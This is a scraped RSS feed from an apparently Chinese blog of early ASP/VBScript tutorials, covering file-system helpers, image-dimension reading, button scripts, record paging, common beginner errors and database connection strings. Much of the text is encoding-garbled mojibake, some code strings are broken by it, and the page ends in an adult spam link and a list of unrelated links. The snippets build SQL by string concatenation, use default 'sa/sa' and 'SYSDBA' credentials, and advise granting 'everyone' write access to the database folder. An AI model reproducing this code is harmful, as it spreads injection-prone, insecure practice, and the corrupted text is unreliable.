temparray = split(tempcnt,chr(13)&chr(10))
if lineNum>ubound(temparray)+1 then
exit function
else
temparray(lineNum-1) = lineContent
end if
tempcnt = join(temparray,chr(13)&chr(10))
set f = fso.createtextfile(server.mappath(filename),true)
f.write tempcnt
end if
f.close
set f = nothing
end function
20.使用FSOæ·ÕdŠ æ–‡äšg新行的函æ•?br />function FSOappline(filename,Linecontent)
dim fso,f
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),8,1)
f.write chr(13)&chr(10)&Linecontent
f.close
set f = nothing
end function
21.è¯ÀL–‡ä»¶æœ€åŽä¸€è¡Œçš„函数
function FSOlastline(filename)
dim fso,f,temparray,tempcnt
set fso = server.CreateObject("scripting.filesystemobject")
if not fso.fileExists(server.mappath(filename)) then exit function
set f = fso.opentextfile(server.mappath(filename),1)
if not f.AtEndofStream then
tempcnt = f.readall
f.close
set f = nothing
temparray = split(tempcnt,chr(13)&chr(10))
FSOlastline = temparray(ubound(temparray))
end if
end function
利用FSO取得BMPåQŒJPGåQŒPNGåQŒGIFæ–‡äšg信息(大小åQŒå®½ã€é«˜½{?
<%
'::: BMP, GIF, JPG and PNG ::: 

'::: This function gets a specified number of bytes from any :::
'::: file, starting at the offset (base 1) :::
'::: :::
'::: Passed: :::
'::: flnm => Filespec of file to read :::
'::: offset => Offset at which to start reading :::
'::: bytes => How many bytes to read :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function GetBytes(flnm, offset, bytes)
Dim objFSO
Dim objFTemp
Dim objTextStream
Dim lngSize
on error resume next
Set objFSO = CreateObject("Scripting.FileSystemObject") 

' First, we get the filesize
Set objFTemp = objFSO.GetFile(flnm)
lngSize = objFTemp.Size
set objFTemp = nothing
fsoForReading = 1
Set objTextStream = objFSO.OpenTextFile(flnm, fsoForReading)
if offset > 0 then
strBuff = objTextStream.Read(offset - 1)
end if
if bytes = -1 then ' Get All!
GetBytes = objTextStream.Read(lngSize) 'ReadAll
else
GetBytes = objTextStream.Read(bytes)
end if
objTextStream.Close
set objTextStream = nothing
set objFSO = nothing
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: :::
'::: Functions to convert two bytes to a numeric value (long) :::
'::: (both little-endian and big-endian) :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function lngConvert(strTemp)
lngConvert = clng(asc(left(strTemp, 1)) + ((asc(right(strTemp, 1)) * 256)))
end function
function lngConvert2(strTemp)
lngConvert2 = clng(asc(right(strTemp, 1)) + ((asc(left(strTemp, 1)) * 256)))
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: :::
'::: This function does most of the real work. It will attempt :::
'::: to read any file, regardless of the extension, and will :::
'::: identify if it is a graphical image. :::
'::: :::
'::: Passed: :::
'::: flnm => Filespec of file to read :::
'::: width => width of image :::
'::: height => height of image :::
'::: depth => color depth (in number of colors) :::
'::: strImageType=> type of image (e.g. GIF, BMP, etc.) :::
'::: :::
':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
function gfxSpex(flnm, width, height, depth, strImageType)
dim strPNG 
dim strGIF
dim strBMP
dim strType
strType = ""
strImageType = "(unknown)"
gfxSpex = False
strPNG = chr(137) & chr(80) & chr(78)
strGIF = "GIF"
strBMP = chr(66) & chr(77)
strType = GetBytes(flnm, 0, 3)
if strType = strGIF then ' is GIF
strImageType = "GIF"
Width = lngConvert(GetBytes(flnm, 7, 2))
Height = lngConvert(GetBytes(flnm, 9, 2))
Depth = 2 ^ ((asc(GetBytes(flnm, 11, 1)) and 7) + 1)
gfxSpex = True
elseif left(strType, 2) = strBMP then ' is BMP
strImageType = "BMP"
Width = lngConvert(GetBytes(flnm, 19, 2))
Height = lngConvert(GetBytes(flnm, 23, 2))
Depth = 2 ^ (asc(GetBytes(flnm, 29, 1)))
gfxSpex = True
elseif strType = strPNG then ' Is PNG
strImageType = "PNG"
Width = lngConvert2(GetBytes(flnm, 19, 2))
Height = lngConvert2(GetBytes(flnm, 23, 2))
Depth = getBytes(flnm, 25, 2)
select case asc(right(Depth,1))
case 0
Depth = 2 ^ (asc(left(Depth, 1)))
gfxSpex = True
case 2
Depth = 2 ^ (asc(left(Depth, 1)) * 3)
gfxSpex = True
case 3
Depth = 2 ^ (asc(left(Depth, 1))) '8
gfxSpex = True
case 4
Depth = 2 ^ (asc(left(Depth, 1)) * 2)
gfxSpex = True
case 6
Depth = 2 ^ (asc(left(Depth, 1)) * 4)
gfxSpex = True
case else
Depth = -1
end select 

else
strBuff = GetBytes(flnm, 0, -1) ' Get all bytes from file
lngSize = len(strBuff)
flgFound = 0
strTarget = chr(255) & chr(216) & chr(255)
flgFound = instr(strBuff, strTarget)
if flgFound = 0 then
exit function
end if
strImageType = "JPG"
lngPos = flgFound + 2
ExitLoop = false
do while ExitLoop = False and lngPos < lngSize 

do while asc(mid(strBuff, lngPos, 1)) = 255 and lngPos < lngSize
lngPos = lngPos + 1
loop
if asc(mid(strBuff, lngPos, 1)) < 192 or asc(mid(strBuff, lngPos, 1)) > 195 then
lngMarkerSize = lngConvert2(mid(strBuff, lngPos + 1, 2))
lngPos = lngPos + lngMarkerSize + 1
else
ExitLoop = True
end if
loop
'
if ExitLoop = False then
Width = -1
Height = -1
Depth = -1
else
Height = lngConvert2(mid(strBuff, lngPos + 4, 2))
Width = lngConvert2(mid(strBuff, lngPos + 6, 2))
Depth = 2 ^ (asc(mid(strBuff, lngPos + 8, 1)) * 8)
gfxSpex = True
end if 

end if
end function 

':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
'::: Test Harness :::
'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 

' To test, we'll just try to show all files with a .GIF extension in the root of C:
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objF = objFSO.GetFolder("c:\")
Set objFC = objF.Files
response.write "<table border=""0"" cellpadding=""5"">"
For Each f1 in objFC
if instr(ucase(f1.Name), ".GIF") then
response.write "<tr><td>" & f1.name & "</td><td>" & f1.DateCreated & "</td><td>" & f1.Size & "</td><td>"
if gfxSpex(f1.Path, w, h, c, strType) = true then
response.write w & " x " & h & " " & c & " colors"
else
response.write " "
end if
response.write "</td></tr>"
end if
Next
response.write "</table>"
set objFC = nothing
set objF = nothing
set objFSO = nothing 

%>
24.点击˜q”回上页代码:
<form>
<p><input TYPE="button" value="˜q”回上一æ­? onCLICK="history.back(-1)"></p>
</form>
24.点击åˆäh–°ä»£ç :
<form>
<p><input TYPE="button" value="åˆäh–°æŒ‰é’®ä¸€" onCLICK="ReloadButton()"></p>
</form>
<script language="javascript"><!--
function ReloadButton(){location.href="allbutton.htm";}
// --></script> 

24.点击åˆäh–°ä»£ç 2:
<form>
<p><input TYPE="button" value="åˆäh–°æŒ‰é’®äº? onClick="history.go(0)"> </p>
</form> 

<form>
<p><input TYPE="button" value="打开一个网� onCLICK="HomeButton()"></p>
</form>
<script language="javascript"><!--
function HomeButton(){location.href="http://nettrain.126.com";;; }
// --></script> 

25.弹出警告框代�
<form>
<p><input TYPE="button" value="弹出警告� onCLICK="AlertButton()"></p>
</form>
<script language="javascript"><!--
function AlertButton(){window.alert("要多多光临呀åQ?);}
// --></script> 

26.状态栏信息
<form>
<p><input TYPE="button" value="状态栏信息" onCLICK="StatusButton()"></p>
</form>
<script language="javascript"><!--
function StatusButton(){window.status="要多多光临呀åQ?;}
// --></script> 

27.背景色变�br /><form>
<p><input TYPE="button" value="背景色变� onClick="BgButton()"></p>
</form>
<script>function BgButton(){
if (document.bgColor=='#00ffff')
{document.bgColor='#ffffff';}
else{document.bgColor='#00ffff';}
}
</script> 

28.点击打开新窗�br /><form>
<p><input TYPE="button" value="打开新窗� onCLICK="NewWindow()"></p>
</form>
<script language="javascript"><!--
function NewWindow(){window.open("http://www.mcmx.com";; ,"","height=240,width=340,status=no,location=no,toolbar=no,directories=no,menubar=no");}
// --></script></body>
29.分页代码:
<%''本程序文件名为:Pages.asp%>
<%''包含ADO帔R‡è¡¨æ–‡ä»¶adovbs.incåQŒå¯ä»?\Program Files\Common Files\System\ADO"目录下拷è´?>
<!--#Include File="adovbs.inc"-->
<%''åQŠå¾ç«‹æ•°æ®åº“˜qžæŽ¥åQŒè¿™é‡Œæ˜¯Oracle8.05数据åº?br />Set conn=Server.CreateObject("ADODB.Connection") 
conn.Open "Provider=msdaora.1;Data Source=YourSrcName;User ID=YourUserID;Password=YourPassword;"  

Set rs=Server.CreateObject("ADODB.Recordset") ''创徏Recordset对象
rs.CursorLocation=adUseClient ''讑֮šè®°å½•集指针属æ€?br />''åQŠè®¾å®šä¸€™åµå†…的记录æ€ÀL•°åQŒå¯æ ÒŽ®éœ€è¦è¿›è¡Œè°ƒæ•¾b?br />rs.PageSize=10  

''åQŠè®¾¾|®æŸ¥è¯¢è¯­å¥Â?br />StrSQL="Select ID,姓名,住址,电话 from 通讯录 Order By ID" 
rs.Open StrSQL,conn,adOpenStatic,adLockReadOnly,adCmdText
%>
<HTML>
<HEAD>
<title>分页½CÞZ¾‹</title>
<script language=javascript>
//点击"[½W¬ä¸€™åµ]"时响应:
function PageFirst()
{ 
document.MyForm.CurrentPage.selectedIndex=0;
document.MyForm.CurrentPage.onchange();
}
//点击"[上一™åµ]"时响应:
function PagePrior()
{ 
document.MyForm.CurrentPage.selectedIndex--;
document.MyForm.CurrentPage.onchange();
}
//点击"[下一™åµ]"时响应:
function PageNext()
{ 
document.MyForm.CurrentPage.selectedIndex++;
document.MyForm.CurrentPage.onchange(); 
}
//点击"[最后一™åµ]"时响应:
function PageLast()
{ 
document.MyForm.CurrentPage.selectedIndex=document.MyForm.CurrentPage.length-1;
document.MyForm.CurrentPage.onchange();
}
//选择"½W¬ï¼Ÿ™å?时响应:
function PageCurrent()
{ //Pages.asp是本½E‹åºçš„æ–‡ä»¶å
document.MyForm.action='Pages.asp?Page='+(document.MyForm.CurrentPage.selectedIndex+1)
document.MyForm.submit();
} 
</Script>
</HEAD>
<BODY bgcolor="#ffffcc" link="#008000" vlink="#008000" alink="#FF0000""> 

<%IF rs.Eof THEN
Response.Write("<font size=2 color=#000080>[数据库中没有记录åQ]</font>")
ELSE 
''指定当前™å늠
If Request("CurrentPage")="" Then
rs.AbsolutePage=1
Else
rs.AbsolutePage=CLng(Request("CurrentPage"))
End If  

''创徏表单MyForm,æ–ÒŽ³•为Get
Response.Write("<form method=Get name=MyForm>") 
Response.Write("<p align=center><font size=2 color=#008000>")
''讄¡½®¾˜»é¡µ­‘…链æŽ?br />if rs.PageCount=1 then 
Response.Write("[½W¬ä¸€™åµ] [上一™åµ] [下一™åµ] [最后一™åµ] ")
else 
if rs.AbsolutePage=1 then
Response.Write("[½W¬ä¸€™åµ] [上一™åµ] ")
Response.Write("[<a href=java script:PageNext()>下一™å?lt;/a>] ") 
Response.Write("[<a href=java script:PageLast()>最后一™å?lt;/a>] ") 
else 
if rs.AbsolutePage=rs.PageCount then
Response.Write("[<a href=java script:PageFirst()>½W¬ä¸€™å?lt;/a>] ") 
Response.Write("[<a href=java script:PagePrior()>上一™å?lt;/a>] ") 
Response.Write("[下一™åµ] [最后一™åµ] ")
else
Response.Write("[<a href=java script:PageFirst()>½W¬ä¸€™å?lt;/a>] ") 
Response.Write("[<a href=java script:PagePrior()>上一™å?lt;/a>] ") 
Response.Write("[<a href=java script:PageNext()>下一™å?lt;/a>] ") 
Response.Write("[<a href=java script:PageLast()>最后一™å?lt;/a>] ") 
end if
end if
end if 

''创徏下拉列表框,用于选择‹¹è§ˆ™å늠
Response.Write("½W?lt;select size=1 name=CurrentPage onchange=PageCurrent()>") 
For i=1 to rs.PageCount 
if rs.AbsolutePage=i then
Response.Write("<option selected>"&i&"</option>") ''当前™å늠
else
Response.Write("<option>"&i&"</option>")
end if 
Next 
Response.Write("</select>™å?å…?&rs.PageCount&"™åµÂ å…±"&rs.RecordCount&"条记å½?lt;/font><p>") 
Response.Write("</form>") 

''创徏表格åQŒç”¨äºŽæ˜¾½C?br />Response.Write("<table align=center cellspacing=1 cellpadding=1 border=1") 
Response.Write(" bordercolor=#99CCFF bordercolordark=#b0e0e6 bordercolorlight=#000066>") 

Response.Write("<tr bgcolor=#ccccff bordercolor=#000066>")  

Set Columns=rs.Fields  

''昄¡¤ºè¡¨å¤´
For i=0 to Columns.Count-1
Response.Write("<td align=center width=200 height=13>")
Response.Write("<font size=2><b>"&Columns(i).name&"</b></font></td>") 
Next
Response.Write("</tr>")
''昄¡¤ºå†…容
For i=1 to rs.PageSize 
Response.Write("<tr bgcolor=#99ccff bordercolor=#000066>") 
For j=0 to Columns.Count-1 
Response.Write("<td><font size=2>"&Columns(j)&"</font></td>") 
Next
Response.Write("</tr>") 

rs.movenext 
if rs.EOF then exit for 
Next 

Response.Write("</table>")  

END IF
%>
</BODY>
</HTML>


]]>
ASP初学者常犯的几个错误 http://www.aygfsteel.com/jlin/articles/62905.htmlflyflyFri, 11 Aug 2006 00:44:00 GMThttp://www.aygfsteel.com/jlin/articles/62905.htmlhttp://www.aygfsteel.com/jlin/comments/62905.htmlhttp://www.aygfsteel.com/jlin/articles/62905.html#Feedback0http://www.aygfsteel.com/jlin/comments/commentRss/62905.htmlhttp://www.aygfsteel.com/jlin/services/trackbacks/62905.html------------------------------------
sql="select * from test"
rs.open sql,conn,1,1
if not rs.eof then
dim myName
myName=rs("name")
end if
sql="select * from myBook"
rs.open sql,conn,1,1
-------------------------------------
解决:在第二次rs.open之前先关闭 rs.close
�br />set rs1=server.createobject
rs1.open sql,conn,1,1

2,用SQL关键字做表名或字ŒDµå
-------------------------------------
sql="select * from user"
rs.open sql,conn,1,1
-------------------------------------
user为sql关键å­?br />解决:æ”¹äØ“
sql="select * from [user]"


3,用锁定方式去˜q›è¡Œupdate
-------------------------------------
sql="select * from [user]"
rs.open sql,conn,1,1
rs.addnew
�br />rs("userName")="aa"
rs.update
-------------------------------------
当前记录集的打开方式为只�br />解决:
æ”¹äØ“
rs.open sql,conn,1,3

4,在查询语句中采用的对比字ŒDµå€ég¸Žå­—段¾cÕdž‹ä¸ç¬¦
-----------------------------------------
sql="select * from [user] where id='" & myID & "'"
rs.open sql,conn,1,1
-----------------------------------------
假设表中设计ID为数字型åQŒé‚£ä¹ˆäº›æ—¶å‡ºé”™ã€?br />解决:
sql="select * from [user] where id=" & myID

5,æœªæ£€æŸ¥å˜é‡å€ÆD€Œå‡ºé”?br />-----------------------------------------
sql="select * from [user] where id=" & myID
rs.open sql,conn,1,1
-----------------------------------------
假设myID变量此时å€égØ“null,那么sqlž®†æˆä¸?br />sql="select * from [user] where id="
解决:
在前面加�br />if isnull(myID) then 出错提示

6,未检查变量值类型而出�br />-----------------------------------------
sql="select * from [user] where id=" & myID
rs.open sql,conn,1,1
-----------------------------------------
假设id为数字型,myID变量此时å€ég¸ä¸ºnull,ä½†äØ“å­—ç¬¦åQŒæ¯”如myID此时ä¸?aa"
那么sqlž®†æˆä¸?br />sql="select * from [user] where id=aa"
解决:
在前面加�br />if isnumeric(myID)=false then 出错提示

˜q™ä¹Ÿå¯ä»¥æœ‰æ•ˆé˜²æ­¢Â sql injection 漏洞æ”Õd‡»ã€?br />
7,ç”׃ºŽæ•°æ®åº“文件所在目录的NTFS权限而引èµïLš„'ä¸èƒ½æ›´æ–°ã€‚æ•°æ®åº“æˆ–å¯¹è±¡äØ“åªè¯»"错误ã€?br />说明:
WIN2K¾pȝ»Ÿå»¶ç®‹äº†WINNT¾pȝ»Ÿçš„NTFS权限ã€?br />对于¾pȝ»Ÿä¸­çš„æ–‡å¤¹éƒ½æœ‰é»˜è®¤çš„安全设¾|®ã€?br />而通过HTTP对WWW讉K—®æ—¶çš„¾pȝ»Ÿé»˜è®¤ç”¨æˆ·æ˜¯Â iusr_计算机名 用户 ,它属于guest¾l„ã€?br />当通过HTTP讉K—®æ—Óž¼Œå¯ä»¥ASP或JSPåQŒä¹Ÿæˆ–是PHPæˆ?NET½E‹åºå¯ÒŽ•°æ®è¿›è¡Œä¿®æ”ÒŽ“ä½œï¼š
比如åQ?br />当打开某一个文章时åQŒç¨‹åºè®¾å®šï¼Œæ–‡ç« çš„阅è¯ÀL¬¡æ•?原阅è¯ÀL¬¡æ•?1
执行
conn.execute("update arts set clicks=clicks+1 where id=n")
语句æ—Óž¼Œå¦‚果 iusr_计算机名 用户没有å¯ÒŽ•°æ®åº“的写权限æ—Óž¼Œž®×ƒ¼šå‡ºé”™.
解决æ–ÒŽ³•:
扑ֈ°æ•°æ®åº“所在目å½?br />右键》属性》安全选项卡》设¾|®Â iusr_计算机名 用户的写权限(当然åQŒä¹Ÿå¯ä»¥æ˜¯everyone)


]]>
在ASP中如何实现点几Z€œåˆ é™¤â€æŒ‰æ‰­åŽå¼¹å‡ºåˆ é™¤æç¤ºå¯¹è¯æ¡†ï¼Ÿå•击¼‹®å®šåŽåˆ é™¤ï¼Œå•击否则˜q”回http://www.aygfsteel.com/jlin/articles/62900.htmlflyflyFri, 11 Aug 2006 00:36:00 GMThttp://www.aygfsteel.com/jlin/articles/62900.htmlhttp://www.aygfsteel.com/jlin/comments/62900.htmlhttp://www.aygfsteel.com/jlin/articles/62900.html#Feedback0http://www.aygfsteel.com/jlin/comments/commentRss/62900.htmlhttp://www.aygfsteel.com/jlin/services/trackbacks/62900.html当点å‡Õdˆ é™¤æ—¶å¼¹å‡ºå¯¹è¯æ¡†é—®ä½ â€œæ‚¨¼‹®å®š˜q›è¡Œåˆ é™¤æ“ä½œå—?”点几Z€œæ˜¯â€åˆ™åˆ é™¤åQŒç‚¹å‡ Z€œå¦â€åˆ™˜q”回åQ?img src ="http://www.aygfsteel.com/jlin/aggbug/62900.html" width = "1" height = "1" />

]]>
数据库连接示ä¾?/title><link>http://www.aygfsteel.com/jlin/articles/62367.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Tue, 08 Aug 2006 08:03:00 GMT</pubDate><guid>http://www.aygfsteel.com/jlin/articles/62367.html</guid><wfw:comment>http://www.aygfsteel.com/jlin/comments/62367.html</wfw:comment><comments>http://www.aygfsteel.com/jlin/articles/62367.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jlin/comments/commentRss/62367.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jlin/services/trackbacks/62367.html</trackback:ping><description><![CDATA[ <p>asp˜qžæŽ¥Access数据åº?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Driver={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath(DBpath)<br /> conn.open connStr</p> <p>asp˜qžæŽ¥Access数据åº?OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> dbPath="config/bloo.mdb"<br /> connStr="Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath(DBpath)<br /> conn.open connStr</p> <p>asp˜qžæŽ¥SQL Server数据åº?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Driver={SQL Server};Server=(Local);UID=sa;PWD=sa;database=system;"<br /> conn.open connStr</p> <p>asp˜qžæŽ¥SQL Server数据åº?OleDb)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="Provider=SQLOLEDB.1;User ID=sa;Password=sa;Data Source=(local);Initial Catalog=system;"<br /> conn.open connStr</p> <p>asp˜qžæŽ¥DM数据åº?ODBC)<br /> set conn=server.createobject("adodb.connection")<br /> connStr="DSN=***;DRIVER={DM ODBC DRIVER};DATABASE=SYSTEM;UID=SYSDBA;PWD=SYSDBA;"<br /> conn.open connStr</p> <p>asp.net˜qžæŽ¥DM数据åº?ODBC)<br /> Driver={DM ODBC Driver}; Server=localhost; Database=SYSTEM; UID=SYSDBA; PWD=SYSDBA;</p> <p>asp.net˜qžæŽ¥DM数据åº?OleDb)<br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA; Port=1433<br /> æˆ?br /> Provider=DMOLEDB.1; Data Source=localhost; Initial Catalog=SYSTEM; User Id=SYSDBA; Password=SYSDBA;<br /><br />转脓</p> <img src ="http://www.aygfsteel.com/jlin/aggbug/62367.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jlin/" target="_blank">fly</a> 2006-08-08 16:03 <a href="http://www.aygfsteel.com/jlin/articles/62367.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习asp的一些心å¾?/title><link>http://www.aygfsteel.com/jlin/articles/57229.html</link><dc:creator>fly</dc:creator><author>fly</author><pubDate>Sat, 08 Jul 2006 01:23:00 GMT</pubDate><guid>http://www.aygfsteel.com/jlin/articles/57229.html</guid><wfw:comment>http://www.aygfsteel.com/jlin/comments/57229.html</wfw:comment><comments>http://www.aygfsteel.com/jlin/articles/57229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/jlin/comments/commentRss/57229.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/jlin/services/trackbacks/57229.html</trackback:ping><description><![CDATA[ <p>1。数据库˜qžæŽ¥å­—符ä¸?br />ConnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(datapath)<br />   <br />Set conn = Server.CreateObject("ADODB.Connection")<br />    <br />conn.open ConnStr <br />2ã€?br />1åQŽé€šè¿‡ODBC或者OLE方式˜qžæŽ¥çš„区别? </p> <p>现在有两¿Uè¿žæŽ¥æ•°æ®åº“的方法。一斚w¢åQŒå¯ä»¥ç”¨ODBC产生一个连接,˜q™ç§˜qžæŽ¥ä¸Žä“Q何有ODBC驱动器的数据库(卛_Ÿºæœ¬ä¸Šæ˜¯å¸‚åœÞZ¸Šæ‰€æœ‰çš„æ•°æ®åº“)兼容åQ›å¦ä¸€æ–šw¢åQŒå¯ä»¥ç”¨åŽŸå§‹OLE DB提供商äñ”生一个连接ã€?</p> <p>该用哪个提供商?ž®½å¯èƒ½ç”¨åŽŸå§‹OLE DBæä¾›å•†ï¼Œå› äØ“å®ƒæä¾›äº†å¯ÒŽ•°æ®æ›´æœ‰æ•ˆçš„访问。Microsoft正逐步用OLE DB取代ODBC标准åQŒåº”该仅仅在没有原始OLE DB提供商时使用ODBCã€?</p> <p>â‘ß_¼Žç”¨ODBC方式˜qžæŽ¥SQL ServeråQ?<br />①.配置ODBC <br />②.˜qžæŽ¥ä»£ç åQ?<br />conn_odbc.asp <br /><% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />'Conn.Open "DSN=course_dsn;UID=course_user;PWD=course_password;DATABASE=course" <br />Conn.Open "course_dsn","course_user","course_password" <br />%> <br />注意åQšåœ¨é…ç½®MyDSNæ—¶è‹¥æŒ‡å®šé»˜è®¤æ•°æ®åº“äØ“course则上˜qîC»£ç ä½œç”¨æƒ³åŒï¼Œå¦åˆ™½W¬äºŒè¡Œçš„˜qžæŽ¥æ–¹å¼æ›´æœ‰ç‰|´»æ€§ï¼Œå¯ä»¥æŒ‡å®š˜qžæŽ¥æŸä¸ªæ•°æ®åº“(当然åQŒå‰ææ˜¯course_user对这个数据库有操作权限)ã€?</p> <p>⑵.用OLE方式˜qžæŽ¥SQL ServeråQ?<br />conn_ole.asp <br /><% <br />Set Conn = Server.CreateObject("ADODB.Connection") <br />Conn.Open "PROVIDER=SQLOLEDB;DATA SOURCE=10.1.43.238,2433; UID=course_user;PWD=course_password;DATABASE=course" <br />%> </p> <p>2006-7-7  17:57  学习VBscript 的一些心å¾?br />  <br /> 1ã€?asp½E‹åºä¸åŒºåˆ†å¤§ž®å†™<br /> 2ã€?asp½E‹åºä¸€è¡Œè¯­å¥åªèƒ½å†™åœ¨ä¸€è¡Œä¸ŠåQŒä¸€è¡Œè¯­å¥ä¸èƒ½å†™å¤šæ¡è¯­å¥åQŒå¦‚果一行语句要写多行语句,ç”?分开åQŒæˆ–用回车键分开ã€?br /> 3ã€?注意asp½E‹åºçš„一写关键字åQŒæ¯”å¦?if...then...else语句åQŒè¿˜æœ?if..then...endif(多条ä»?<br />  要这样写åQ?br />     if 条äšg语句1 then <br />        执行语句1<br />     elseif 条äšg语句2 then <br />        执行语句2<br />     .........<br />     else <br />      执行语句 n+1<br />    end if <br />    ( 注意其中的elseif 不能分开å†?<br /><br />4.asp½E‹åºä¸æ”¯æŒå¤šè¡Œæ³¨é‡?br /></p> <img src ="http://www.aygfsteel.com/jlin/aggbug/57229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/jlin/" target="_blank">fly</a> 2006-07-08 09:23 <a href="http://www.aygfsteel.com/jlin/articles/57229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <a href="http://www.aygfsteel.com/" title="狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频">狠狠久久亚洲欧美专区_中文字幕亚洲综合久久202_国产精品亚洲第五区在线_日本免费网站视频</a> </div> </footer> Ö÷Õ¾Ö©Öë³ØÄ£°å£º <a href="http://" target="_blank">ÌìÈ«ÏØ</a>| <a href="http://" target="_blank">Ç­Î÷ÏØ</a>| <a href="http://" target="_blank">³à³ÇÏØ</a>| <a href="http://" target="_blank">ͨ³ÇÏØ</a>| <a href="http://" target="_blank">°Í¶«ÏØ</a>| <a href="http://" target="_blank">ÒË´¨ÏØ</a>| <a href="http://" target="_blank">Ò˲ýÊÐ</a>| <a href="http://" target="_blank">ÑÓ¼ªÊÐ</a>| <a href="http://" target="_blank">ƽ¶ÈÊÐ</a>| <a href="http://" target="_blank">ÄþÁêÏØ</a>| <a href="http://" target="_blank">ÇàÁú</a>| <a href="http://" target="_blank">ÀÖÁêÊÐ</a>| <a href="http://" target="_blank">ÎÄÉ½ÏØ</a>| <a href="http://" target="_blank">äµÔ´ÏØ</a>| <a href="http://" target="_blank">ÑôÔ­ÏØ</a>| <a href="http://" target="_blank">ÐÅ·áÏØ</a>| <a href="http://" target="_blank">°²Í¼ÏØ</a>| <a href="http://" target="_blank">¹óϪÊÐ</a>| <a href="http://" target="_blank">ÉÜÐËÏØ</a>| <a href="http://" target="_blank">´óÍÝÏØ</a>| <a href="http://" target="_blank">ãþÔ´ÏØ</a>| <a href="http://" target="_blank">¾®ÚêÏØ</a>| <a href="http://" target="_blank">²¼¶û½òÏØ</a>| <a href="http://" target="_blank">ÈýÔ­ÏØ</a>| <a href="http://" target="_blank">ÍþÐÅÏØ</a>| <a href="http://" target="_blank">ÏÃÃÅÊÐ</a>| <a href="http://" target="_blank">·ð½Ì</a>| <a href="http://" target="_blank">¸Á¶ûÏØ</a>| <a href="http://" target="_blank">Ä«Öñ¹¤¿¨ÏØ</a>| <a href="http://" target="_blank">ʯ¾°É½Çø</a>| <a href="http://" target="_blank">½úÖÐÊÐ</a>| <a href="http://" target="_blank">±ß°ÓÏØ</a>| <a href="http://" target="_blank">Æ½Ò£ÏØ</a>| <a href="http://" target="_blank">¶¨ÐËÏØ</a>| <a href="http://" target="_blank">Í­ÁºÏØ</a>| <a href="http://" target="_blank">²ìÑÅÏØ</a>| <a href="http://" target="_blank">¸·³ÇÏØ</a>| <a href="http://" target="_blank">×ÊÔ´ÏØ</a>| <a href="http://" target="_blank">²Æ¾­</a>| <a href="http://" target="_blank">ºÓÎ÷Çø</a>| <a href="http://" target="_blank">À´±öÊÐ</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>